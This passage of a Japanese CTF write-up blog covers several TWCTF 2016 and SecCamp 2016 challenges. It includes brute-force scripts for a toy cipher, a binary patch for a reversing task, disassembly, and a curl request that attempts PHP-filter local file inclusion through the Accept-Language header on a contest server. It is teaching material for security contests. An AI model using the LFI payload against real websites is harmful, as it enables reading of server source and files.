èühj@è-Á¾ÙH'(çàü鐎úë¬Âaê°ÅÇDm¶ZLʔa
"""

flag: TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}

Super Express (Crypto100)

まず、encryptで使われたコード(encrypt.py)を確認する必要があります。

import sys
key = '****CENSORED***************'
flag = 'TWCTF{*******CENSORED********}'

if len(key) % 2 == 1:
    print("Key Length Error")
    sys.exit(1)

n = len(key) / 2
encrypted = ''
for c in flag:
    c = ord(c)
    for a, b in zip(key[0:n], key[n:2*n]):
        c = (ord(a) * c + ord(b)) % 251
    encrypted += '%02x' % c

print encrypted

# 805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9
# T W C T F { F ?           T                   ?           }

メモ書きとコードを見れば、換字式暗号ということまではわかります。 各文字に対して、同じkeyでエンヤコラしています。 flagもkeyもわからないので、ecnryptedから両者を推察することは難しそうです。
# flagの先頭数文字だけは分かるので、何かのkeyで TWCTF{ をencryptして 805eed80cbbc になればそのkeyは正しいことは分かります。

ただ48時間しかないようなCTFで、計算時間が競技時間を超えることはまず無いでしょうし、 昨年はそんなエグい問題は出ていなかったはずなので、keyは少し計算すれば求まるような長さっぽい、というあたりを付けて1つ目のコードを書きました。

import sys
import itertools
import string

key = ''
flag = 'TWCTF{'

# A = string.ascii_letters
A = string.ascii_lowercase
for i in itertools.product(A, repeat=4):
    key = ''.join(list(i))
    if key[-3:] == "aaa":
        print(key)
    if len(key) % 2 == 1:
        print("Key Length Error")
        sys.exit(1)

    n = len(key) / 2
    encrypted = ''
    for c in flag:
        c = ord(c)
        for a, b in zip(key[0:n], key[n:2*n]):
            c = (ord(a) * c + ord(b)) % 251
        encrypted += '%02x' % c

    # print(encrypted)
    if encrypted == "805eed80cbbc":
        print("[+] found! key = " + str(key))
        exit()

"""
% python2 solve.py
aaaa
baaa
caaa
daaa
[+] found! key = dpiq
"""

やりましたー。keyは dpiq ということが分かりました。あとは flag を順に総当りして終わりです。

import sys
import itertools
import string


flag = 'TWCTF{'
key = "dpiq"

target = "805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9"

while True:
    for _c in string.ascii_letters + string.digits + "_!":
        test = flag + _c
        test += 'A' * (30 - 1 - len(test))
        test += "}"
        # print test

        n = len(key) / 2
        encrypted = ''
        for c in test:
            c = ord(c)
            for a, b in zip(key[0:n], key[n:2*n]):
                c = (ord(a) * c + ord(b)) % 251
            encrypted += '%02x' % c

        right = (len(flag) + 1) * 2
        # print "test: " + encrypted[0:right]
        if encrypted == target:
            flag += _c
            print "[+] flag found! " + flag + "}"
            exit()
        if encrypted[0:right] == target[0:right]:
            print test
            print encrypted
            flag += _c
            break

"""
% python2 solve2.py
TWCTF{FAAAAAAAAAAAAAAAAAAAAAA}
805eed80cbbccbb0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FaAAAAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FasAAAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c3b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FastAAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c364b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FasteAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c36413b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FasterAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c3641327b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_AAAAAAAAAAAAAAAA}
805eed80cbbccb94c364132757b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_TAAAAAAAAAAAAAAA}
805eed80cbbccb94c36413275780b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_ThAAAAAAAAAAAAAA}
805eed80cbbccb94c36413275780ecb0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_ThaAAAAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_ThanAAAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a8b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_AAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_SAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfb0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfecb0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShiAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8db0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShinAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShinkAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8cab0b0b0b0b0b0f9
TWCTF{Faster_Than_ShinkaAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94b0b0b0b0b0f9
TWCTF{Faster_Than_ShinkanAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8b0b0b0b0f9
TWCTF{Faster_Than_ShinkansAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c3b0b0b0f9
TWCTF{Faster_Than_ShinkanseAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313b0b0f9
TWCTF{Faster_Than_ShinkansenA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8b0f9
[+] flag found! TWCTF{Faster_Than_Shinkansen!}
"""   

flag: TWCTF{Faster_Than_Shinkansen!}

Global Page (Web50)

日英対応のWebページが表示される問題です。pageというgetパラメータがあって、それを根拠にページを切り替えているようなので、 Mortal Magi Agentsのようなタイプかなと思いました。

なのであとは php://filter/ ほげほげでどうLFIするのかという思考に切り替わるのですが、 pageに入った値はピリオドとスラッシュが除去されるのでもうひと工夫必要です。
(この問題はもりたこちゃんとやってて、同じ認識でした)

で、僕は curl でページをフェッチしたときに、ブラウザでは確認できた en-US.php というような文字列が .php という風になってたので、 これはHTTP Request Headerにあるフィールド値を細工すれば良いのだなと勘付きました。
今回の問題は Accept-Language が該当したのでそれをいじります。

が、 index.php のソースを見たいなと思っていろいろトライしてみたんですけど、なぜかうまく行かなかったです><

% curl "http://globalpage.chal.ctf.westerns.tokyo/index.php?page=php:" -H "Accept-Language: /filter/read=string.toupper/resource=index" -v

*   Trying 40.74.130.170...

* Connected to globalpage.chal.ctf.westerns.tokyo (40.74.130.170) port 80 (#0)

> GET /index.php?page=php: HTTP/1.1

> Host: globalpage.chal.ctf.westerns.tokyo

> User-Agent: curl/7.50.1

> Accept: */*

> Accept-Language: /filter/read=string.toupper/resource=index

> 

< HTTP/1.1 200 OK

< Date: Sat, 03 Sep 2016 04:27:11 GMT

< Server: Apache/2.4.7 (Ubuntu)

< X-Powered-By: PHP/5.5.9-1ubuntu4.19

< Vary: Accept-Encoding

< Content-Length: 163

< Content-Type: text/html

< 

<!doctype html>

<html>

<head>

<meta charset=utf-8>

<title>Global Page</title>

<style>

.rtl {

  direction: rtl;

}

</style>

</head>



<body>

<p>

</p>

</body>

</html>

* Connection #0 to host globalpage.chal.ctf.westerns.tokyo left intact

ここから先は、チームメイトのもりたこちゃんに任せちゃいました。(画像はもりたこちゃん提供)

f:id:katc:20160906225456p:plain

flag: TWCTF{I_found_simple_LFI}

Reverse Box (Rev50)

Retargetable Decompiler に突っ込んで、コードを見たら次の main()init(table) のようなコードを発見しました。 方針としては、(a) ある文字を別の文字にマッピングするテーブル(=Sボックス)の生成方法を調べるか、(b) 乱数要素を排除して、 256通りあるSボックスを全通りチェックする、の2通りがあります。
# 256通りの根拠は 0x80485ac の and eax, 0xff です。

// Address range: 0x804858d - 0x8048688
int32_t function_804858d(char * a1) {
    // 0x804858d
    srand(time(NULL));
    uint32_t v1 = rand(); // 0x80485a7
    // branch -> 0x80485a7
    while (v1 % 256 == 0) {
        // 0x80485a7
        v1 = rand();
        // continue -> 0x80485a7
    }
    // 0x80485ba
    *a1 = (char)v1;
    char * v2 = a1;
    int32_t v3 = 1; // bp+030
    char v4 = 1;
    int32_t v5 = v4;
    uint32_t v6 = 2 * v5 ^ v5 ^ (v4 == 0 ? 27 : 0); // 0x80485ee
    char v7 = v6;
    uint32_t v8 = (2 * v3 ^ v3) % 256; // bp+131
    int32_t v9 = 4 * v8 ^ v8; // 0x8048611
    uint32_t v10 = (16 * v9 ^ v9) % 256; // bp+133
    int32_t v11 = 0x1000000 * ((v10 == 0 ? 9 : 0) ^ v10) / 0x1000000; // 0x8048640_1
    unsigned char v12 = *v2; // 0x8048651
    uint32_t v13 = v11 % 256;
    char result = v13 ^ (int32_t)v12 ^ (2 * v13 & 254 | v13 / 128) ^ (4 * v13 & 252 | v13 / 64) ^ (8 * v13 & 248 | v13 / 32) ^ (16 * v13 & 240 | v13 / 16);
    *(char *)(v6 % 256 + (int32_t)v2) = result;
    // branch -> 0x80485cc
    while (v7 != 1) {
        // 0x80485cc
        // 0x80485cc
        v2 = a1;
        v3 = v11;
        v4 = v7;
        v5 = v4;
        v6 = 2 * v5 ^ v5 ^ (v4 == 0 ? 27 : 0);
        v7 = v6;
        v8 = (2 * v3 ^ v3) % 256;
        v9 = 4 * v8 ^ v8;
        v10 = (16 * v9 ^ v9) % 256;
        v11 = 0x1000000 * ((v10 == 0 ? 9 : 0) ^ v10) / 0x1000000;
        v12 = *v2;
        v13 = v11 % 256;
        result = v13 ^ (int32_t)v12 ^ (2 * v13 & 254 | v13 / 128) ^ (4 * v13 & 252 | v13 / 64) ^ (8 * v13 & 248 | v13 / 32) ^ (16 * v13 & 240 | v13 / 16);
        *(char *)(v6 % 256 + (int32_t)v2) = result;
        // branch -> 0x80485cc
    }
    // 0x8048687
    return result;
}

// Address range: 0x8048689 - 0x804875f
int32_t function_8048689(int32_t a1, int32_t * a2) {
    int32_t v1 = *(int32_t *)20; // 0x804869e
    if (a1 <= 1) {
        // 0x80486b2
        printf("usage: %s flag\n", (char *)*a2);
        exit(1);
        // UNREACHABLE
    }
    // 0x80486d4
    int32_t v2;
    function_804858d((char *)&v2);
    int32_t * str = (int32_t *)((int32_t)a2 + 4); // 0x8048727_0
    if (strlen((char *)*str) == 0) {
        // 0x8048735
        putchar(10);
        if (*(int32_t *)20 != v1) {
            // 0x8048756
            __stack_chk_fail();
            // branch -> 0x804875b
        }
        // 0x804875b
        return 0;
    }
    for (int32_t i = 0; i < strlen((char *)*str); i++) {
        char v3 = *(char *)(*str + i); // 0x80486f9
        printf("%02x", (int32_t)*(char *)(28 + (int32_t)v3));
        // continue -> 0x80486ea
    }
    // 0x8048735
    putchar(10);
    if (*(int32_t *)20 != v1) {
        // 0x8048756
        __stack_chk_fail();
        // branch -> 0x804875b
    }
    // 0x804875b
    return 0;
}
0x8048593:   c7 04 24 00 00 00 00        mov dword [ esp ], 0x0
0x804859a:   e8 61 fe ff ff             call 0x8048400 <time>
0x804859f:   89 04 24                   mov dword [ esp ], eax
0x80485a2:   e8 99 fe ff ff             call 0x8048440 <srand>
0x80485a7:   e8 d4 fe ff ff             call 0x8048480 <rand>
0x80485ac:   25 ff 00 00 00             and eax, 0xff
0x80485b1:   89 45 f4                   mov dword [ ebp + 0xfffffff4 ], eax

競技中は変な意地を張ってしまい (a) でやろうとしてしまいました。結果はバイナリと同じSボックスを生成できずに撃沈しました。

今日は (b) でやってみました。 乱数要素の排除は、 0x8048593〜0x80485a7を一旦 nop で潰しつつ、 mov eax, X を入れて、Sボックスの種となるeaxを思い通りの値にできるようにすることを意味します。

これをするために patchkit というpythonツールを利用しました。

github.com

(インストールでちょっとトラップがあったので、気が向いたら記事にしようかな)

パッチは次のもの(patch.py)を使いました。同じパッチでパラメータをもたせる手段が見つからなかったので、環境変数でなんとかしちゃいました。

import os

"""
0x8048593:   c7 04 24 00 00 00 00       mov dword [ esp ], 0x0
0x804859a:   e8 61 fe ff ff             call 0x8048400 <time>
0x804859f:   89 04 24                   mov dword [ esp ], eax
0x80485a2:   e8 99 fe ff ff             call 0x8048440 <srand>
0x80485a7:   e8 d4 fe ff ff             call 0x8048480 <rand>
0x80485ac:   25 ff 00 00 00             and eax, 0xff
0x80485b1:   89 45 f4                   mov dword [ ebp + 0xfffffff4 ], eax
0x80485b4:   83 7d f4 00                cmp dword [ ebp + 0xfffffff4 ], 0x0
0x80485b8:   74 ed                      jz 0x80485a7 <function_804858d+0x1a>
"""

def simple_patch(pt):
    # pt.patch(0x8048593, hex='90' * 25) # NOT Works
    pt.patch(0x8048593, asm='nop;' * 25)
    pt.patch(0x8048593, asm='mov eax, ' + os.environ['EAX'])

あとは、第一段階でeaxの値を255から0までの総当りで探索して適切なeaxを求め、 第二段階でflagを総当りで探索〜っ、てコードを書き、動かして終了です。

import string
import subprocess

target = "95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a"
eax = -1

for i in range(255, 0, -1):
    if i % 20 == 0:
        print "[+] current: " + str(i)
    p = subprocess.Popen(["/home/katc/bin/patchkit/patch", "reverse_box", "patch.py"], 
        stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False, env={"EAX": str(i)})
    out, err = p.communicate()
    p = subprocess.Popen("./reverse_box.patched " + "TWCTF{" + "A" * (len(target) - 7) + "}", 
        shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, err = p.communicate()
    # print out[:12]
    if out[:12] == "95eeaf95ef94":
        print "[+] EAX = " + str(i)
        eax = i
        break
    else:
        p = subprocess.Popen(["rm", "reverse_box.patched"], 
            stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False)
        out, err = p.communicate()        

flag = "TWCTF{"
while True:
    for _c in string.ascii_letters + string.digits + "_!-":
        test = flag + _c
        test += 'A' * (len(target) / 2 - 1 - len(test))
        test += "}"
        # if _c == "a":
        #     print test

        p = subprocess.Popen(["./reverse_box.patched", test], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False)
        out, err = p.communicate()
        if out[:len(target)] == target:
            flag += _c
            print "[+] flag found! " + flag + "}"
            exit()
        offset = len(flag) * 2
        if out[offset:offset+2] == target[offset:offset+2]:
            flag += _c
            print flag
            break


"""
$ ./reverse_box ${FLAG}
95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a
"""

"""
% python2 solve.py
[+] current: 240
[+] current: 220
[+] EAX = 214
TWCTF{5
TWCTF{5U
TWCTF{5UB
TWCTF{5UBS
TWCTF{5UBS7
TWCTF{5UBS71
TWCTF{5UBS717
TWCTF{5UBS717U
TWCTF{5UBS717U7
TWCTF{5UBS717U71
TWCTF{5UBS717U710
TWCTF{5UBS717U710N
TWCTF{5UBS717U710N_
TWCTF{5UBS717U710N_C
TWCTF{5UBS717U710N_C1
TWCTF{5UBS717U710N_C1P
TWCTF{5UBS717U710N_C1PH
TWCTF{5UBS717U710N_C1PH3
TWCTF{5UBS717U710N_C1PH3R
TWCTF{5UBS717U710N_C1PH3R_
TWCTF{5UBS717U710N_C1PH3R_W
TWCTF{5UBS717U710N_C1PH3R_W1
TWCTF{5UBS717U710N_C1PH3R_W17
TWCTF{5UBS717U710N_C1PH3R_W17H
TWCTF{5UBS717U710N_C1PH3R_W17H_
TWCTF{5UBS717U710N_C1PH3R_W17H_R
TWCTF{5UBS717U710N_C1PH3R_W17H_R4
TWCTF{5UBS717U710N_C1PH3R_W17H_R4N
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M1
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M12
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0
[+] flag found! TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}
"""

flag: TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}


いやぁ、昨年のMMA CTFが面白かったので今年も期待していたのですが、解いていてワクワクする問題が多くてよかったです。

海外を意識したのか、メンバーのせいなのかは知りませんが、昨年より問題の難易度が高く、解けた数は昨年よりも減りました。 しかしながら、自分の1年間の成長を感じることができる問題セットになっていると感じました(すげぇ個人的な感想で参考にならないやつだw)

運営マジお疲れ様でした〜。来年も期待させてくださいっ!

セキュキャンCTF equations, hidden のWriteup

katc.hateblo.jp

昨日に引き続き、セキュリティキャンプ全国大会2016で開催されたCTFの話題です。 当日手を付けて、解けなかった問題2つ equations と hidden をピックアップしてWriteupを書きます。

equations

i386バイナリのようなので逆コンパイラ(貧乏人用)に突っ込みます。 こんな結果を得られました。
# 自分が当日になぜこの作業をしなかったのか謎い…

// Address range: 0x804847d - 0x8048547
int main(int argc, char ** argv) {
    int32_t v1 = (int32_t)argv; // 0x80484ab_0
    if (argc <= 3) {
        // 0x804848c
        printf("Usage %s <a> <b> <c>\n", (char *)*(int32_t *)argv);
        // branch -> 0x8048546
        // 0x8048546
        return -1;
    }
    int32_t str_as_i = atoi((char *)*(int32_t *)(v1 + 4)); // 0x80484b6
    int32_t str_as_i2 = atoi((char *)*(int32_t *)(v1 + 8)); // 0x80484ca
    int32_t str_as_i3 = atoi((char *)*(int32_t *)(v1 + 12)); // 0x80484de
    if (check(str_as_i, str_as_i2, str_as_i3) == 0) {
        // 0x8048535
        puts("Wrong key...");
        // branch -> 0x8048546
    } else {
        // 0x8048507
        printf("Congratz! flag is FLAG{%d}\n", calc_flag(str_as_i, str_as_i2, str_as_i3));
        // branch -> 0x8048546
    }
    // 0x8048546
    return 0;
}

// Address range: 0x8048548 - 0x80485c4
int32_t check(int32_t a1, int32_t a2, int32_t a3) {
    int32_t result = 0; // 0x80485c4_2
    if (5 * a2 + 3 * a1 == -4 * a3) {
        // 0x8048575
        if (2 * (2 * a2 + a1) == -5 * a3) {
            // 0x804859a
            result = -8 * a3 == a2 - a1;
            // branch -> 0x80485c3
        } else {
            result = 0;
        }
    }
    // 0x80485c3
    return result;
}

コードを見ると3元1次方程式の存在を確認できます。

考えるのも無駄なので Mathematica(貧乏人用) に突っ込んで終わりです。
# 3つ目の式は無くても解が変わらないというね…

Solve[{3x + 5y + 4z = 0, 2x + 4y + 5z = 0, x - y - 8z = 0}, {x,y,z}]

y = -\frac{7}{9} x, z = \frac{2}{9} x

で、解が不定になってしまいましたが、xを特定の値に縛ることをバイナリがしてないのでフラグが1つに定まりません。 ここで終わりにします。

hidden

バイナリが64ビットで、貧乏人用デコンパイラが使えないので、objdumpとテキストエディタで頑張りました。 といっても長くないので検討をつけやすいです。

見るべき箇所は main での genflag の呼び出しと、 genflag の中身です。 何をしているのかは下のpythonスクリプトを見て感じ取ってください。

0000000000400ee0 <main>:
  400ee0:   55                      push   rbp
  400ee1:   48 89 e5                mov    rbp,rsp
  400ee4:   48 81 ec 20 02 00 00    sub    rsp,0x220
  400eeb:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  400ef2:   00 00 
  400ef4:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  400ef8:   31 c0                   xor    eax,eax
  400efa:   48 c7 85 e0 fd ff ff    mov    QWORD PTR [rbp-0x220],0x401111 # "flag : %s"
  400f01:   11 11 40 00 
  400f05:   48 c7 85 e8 fd ff ff    mov    QWORD PTR [rbp-0x218],0x40111c # "You cannot get flag! Hahaha\n"
  400f0c:   1c 11 40 00 
  400f10:   bf 39 11 40 00          mov    edi,0x401139                   # "== HiddenFlag ==\n"
  400f15:   e8 46 fa ff ff          call   400960 <puts@plt>              # puts("== HiddenFlag ==\n")
  400f1a:   48 8d 85 f0 fd ff ff    lea    rax,[rbp-0x210]
  400f21:   be 00 02 00 00          mov    esi,0x200                      # 0x200
  400f26:   48 89 c7                mov    rdi,rax                        # [rbp-0x8]
  400f29:   b8 00 00 00 00          mov    eax,0x0                        # retval
  400f2e:   e8 34 00 00 00          call   400f67 <genflag>               # genflag([rbp-0x8], 0x200)
  400f33:   48 8b 85 e0 fd ff ff    mov    rax,QWORD PTR [rbp-0x220]      # "flag : %s"
  400f3a:   48 8d 95 f0 fd ff ff    lea    rdx,[rbp-0x210]                # = flag
  400f41:   48 89 d6                mov    rsi,rdx                        # [rbp-0x210]
  400f44:   48 89 c7                mov    rdi,rax                        # arg0
  400f47:   b8 00 00 00 00          mov    eax,0x0                        # retval
  400f4c:   e8 df f9 ff ff          call   400930 <printf@plt>            # printf("flag : %s", [rbp-0x210])
                                                                      # => printf("You cannot get flag! Hahaha\n")
  400f51:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
  400f55:   64 48 33 0c 25 28 00    xor    rcx,QWORD PTR fs:0x28          # check stack canary
  400f5c:   00 00 
  400f5e:   74 05                   je     400f65 <main+0x85>
#---------------------------------------------------------------------
  400f60:   e8 6b fa ff ff          call   4009d0 <__stack_chk_fail@plt>
  400f65:   c9                      leave  
  400f66:   c3                      ret  
from ctypes import CDLL
libc = CDLL('libc.so.6')

arr = [
    0x21, 0x8a, 0x28, 0x34, 0x2a, 0xca, 
    0x7b, 0x81, 0x59, 0xa1, 0x89, 0xf4, 
    0x91, 0xca, 0x93, 0x2e, 0x4f, 0xb0, 
    0xb, 0xf8, 0x0, 0x0, 0x0, 0x0
    ]

arr2 = [
    0x10, 0xf7, 0x5e, 0x1b, 0xe, 0xca, 
    0x7d, 0x9e, 0x1d, 0xa3, 0xdd, 0x98, 
    0xad, 0x96, 0xd0, 0x25, 0x14, 0xf6, 
    0x3a, 0xc9, 0x2e, 0x85, 0x9a, 0x8d
    ]

libc.srand(0)
for i in range(0x18):
    arr[i] ^= (0xff & libc.rand())

libc.srand(0)
for i in range(0x18):
    arr2[i] ^= (0xff & libc.rand())

flag  = ''.join(map(lambda x: chr(x), arr)) 
flag += ''.join(map(lambda x: chr(x), arr2))
print(flag)

"""
[katc@K_atc seccamp-2016]$ python hidden.py 
FLAG{51mpl3_c1ph3r_çw17h_57r4ng3_m3ch4n15m}
"""

"""
0000000000400f67 <genflag>:
  400f67:   55                      push   rbp
  400f68:   48 89 e5                mov    rbp,rsp
  400f6b:   41 54                   push   r12
  400f6d:   53                      push   rbx
  400f6e:   48 83 ec 40             sub    rsp,0x40
  400f72:   48 89 7d b8             mov    QWORD PTR [rbp-0x48],rdi       # [rbp-0x48] := [rbp-0x8]
  400f76:   89 75 b4                mov    DWORD PTR [rbp-0x4c],esi       # [rbp-0x4c] := 0x200
  400f79:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  400f80:   00 00 
  400f82:   48 89 45 e8             mov    QWORD PTR [rbp-0x18],rax
  400f86:   31 c0                   xor    eax,eax
  400f88:   c6 45 d0 21             mov    BYTE PTR [rbp-0x30],0x21       # arr[0]
  400f8c:   c6 45 d1 8a             mov    BYTE PTR [rbp-0x2f],0x8a       # arr[1]
  400f90:   c6 45 d2 28             mov    BYTE PTR [rbp-0x2e],0x28       # ...
  400f94:   c6 45 d3 34             mov    BYTE PTR [rbp-0x2d],0x34
  400f98:   c6 45 d4 2a             mov    BYTE PTR [rbp-0x2c],0x2a
  400f9c:   c6 45 d5 ca             mov    BYTE PTR [rbp-0x2b],0xca
  400fa0:   c6 45 d6 7b             mov    BYTE PTR [rbp-0x2a],0x7b
  400fa4:   c6 45 d7 81             mov    BYTE PTR [rbp-0x29],0x81
  400fa8:   c6 45 d8 59             mov    BYTE PTR [rbp-0x28],0x59
  400fac:   c6 45 d9 a1             mov    BYTE PTR [rbp-0x27],0xa1
  400fb0:   c6 45 da 89             mov    BYTE PTR [rbp-0x26],0x89
  400fb4:   c6 45 db f4             mov    BYTE PTR [rbp-0x25],0xf4
  400fb8:   c6 45 dc 91             mov    BYTE PTR [rbp-0x24],0x91
  400fbc:   c6 45 dd ca             mov    BYTE PTR [rbp-0x23],0xca
  400fc0:   c6 45 de 93             mov    BYTE PTR [rbp-0x22],0x93
  400fc4:   c6 45 df 2e             mov    BYTE PTR [rbp-0x21],0x2e
  400fc8:   c6 45 e0 4f             mov    BYTE PTR [rbp-0x20],0x4f
  400fcc:   c6 45 e1 b0             mov    BYTE PTR [rbp-0x1f],0xb0
  400fd0:   c6 45 e2 0b             mov    BYTE PTR [rbp-0x1e],0xb
  400fd4:   c6 45 e3 f8             mov    BYTE PTR [rbp-0x1d],0xf8
  400fd8:   c6 45 e4 00             mov    BYTE PTR [rbp-0x1c],0x0
  400fdc:   c6 45 e5 00             mov    BYTE PTR [rbp-0x1b],0x0
  400fe0:   c6 45 e6 00             mov    BYTE PTR [rbp-0x1a],0x0
  400fe4:   c6 45 e7 00             mov    BYTE PTR [rbp-0x19],0x0        # arr[0x17]
  400fe8:   8b 45 b4                mov    eax,DWORD PTR [rbp-0x4c]
  400feb:   83 f8 18                cmp    eax,0x18
  400fee:   76 07                   jbe    400ff7 <genflag+0x90>
#---------------------------------------------------------------------
  400ff0: c7 45 b4 18 00 00 00  mov    DWORD PTR [rbp-0x4c],0x18      # [rbp-0x4c] := 0x18
#---------------------------------------------------------------------
  400ff7: bf 00 00 00 00        mov    edi,0x0                        # 0
  400ffc: e8 ef f9 ff ff        call   4009f0 <srand@plt>             # srand(0)
  401001: c7 45 cc 00 00 00 00  mov    DWORD PTR [rbp-0x34],0x0       # [rbp-0x34] = 0 
                                                                      # i := [rbp-0x34]
  401008: eb 27                 jmp    401031 <genflag+0xca>
#=====================================================================
  40100a: 8b 45 cc              mov    eax,DWORD PTR [rbp-0x34]       # arr[i] = [rbp-0x34] 
  40100d: 48 63 d0              movsxd rdx,eax
  401010: 48 8b 45 b8           mov    rax,QWORD PTR [rbp-0x48]
  401014: 48 8d 1c 02           lea    rbx,[rdx+rax*1]                # rbx := [i + [rbp-0x48]]
  401018: 8b 45 cc              mov    eax,DWORD PTR [rbp-0x34]
  40101b: 48 98                 cdqe   
  40101d: 44 0f b6 64 05 d0     movzx  r12d,BYTE PTR [rbp-0x30+rax*1] # r12d := arr[i]
  401023: e8 f8 f9 ff ff        call   400a20 <rand@plt>              # rand()
  401028: 44 31 e0              xor    eax,r12d                       # arr[i] ^= char(rand())
  40102b: 88 03                 mov    BYTE PTR [rbx],al      
  40102d: 83 45 cc 01           add    DWORD PTR [rbp-0x34],0x1       # [rbp-0x34] += 1 (i++)
#---------------------------------------------------------------------
  401031: 8b 45 cc              mov    eax,DWORD PTR [rbp-0x34]
  401034: 3b 45 b4              cmp    eax,DWORD PTR [rbp-0x4c]
  401037: 7c d1                 jl     40100a <genflag+0xa3>          # [rbp-0x34] < 0x18
#---------------------------------------------------------------------
"""

"""
[katc@K_atc seccamp-2016]$ gdb -q hidden
gdb-peda$ b printf
gdb-peda$ r
gdb-peda$ disas genflag
Dump of assembler code for function genflag:
   0x0000000000400f67 <+0>:     push   rbp
   0x0000000000400f68 <+1>:     mov    rbp,rsp
   0x0000000000400f6b <+4>:     push   r12
   0x0000000000400f6d <+6>:     push   rbx
   0x0000000000400f6e <+7>:     sub    rsp,0x40
   0x0000000000400f72 <+11>:    mov    QWORD PTR [rbp-0x48],rdi       # [rbp-0x48] := [rbp-0x8]
   0x0000000000400f76 <+15>:    mov    DWORD PTR [rbp-0x4c],esi
   0x0000000000400f79 <+18>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400f82 <+27>:    mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400f86 <+31>:    xor    eax,eax
   0x0000000000400f88 <+33>:    mov    BYTE PTR [rbp-0x30],0x10
   0x0000000000400f8c <+37>:    mov    BYTE PTR [rbp-0x2f],0xf7
   0x0000000000400f90 <+41>:    mov    BYTE PTR [rbp-0x2e],0x5e
   0x0000000000400f94 <+45>:    mov    BYTE PTR [rbp-0x2d],0x1b
   0x0000000000400f98 <+49>:    mov    BYTE PTR [rbp-0x2c],0xe
   0x0000000000400f9c <+53>:    mov    BYTE PTR [rbp-0x2b],0xca
   0x0000000000400fa0 <+57>:    mov    BYTE PTR [rbp-0x2a],0x7d
   0x0000000000400fa4 <+61>:    mov    BYTE PTR [rbp-0x29],0x9e
   0x0000000000400fa8 <+65>:    mov    BYTE PTR [rbp-0x28],0x1d
   0x0000000000400fac <+69>:    mov    BYTE PTR [rbp-0x27],0xa3
   0x0000000000400fb0 <+73>:    mov    BYTE PTR [rbp-0x26],0xdd
   0x0000000000400fb4 <+77>:    mov    BYTE PTR [rbp-0x25],0x98
   0x0000000000400fb8 <+81>:    mov    BYTE PTR [rbp-0x24],0xad
   0x0000000000400fbc <+85>:    mov    BYTE PTR [rbp-0x23],0x96
   0x0000000000400fc0 <+89>:    mov    BYTE PTR [rbp-0x22],0xd0
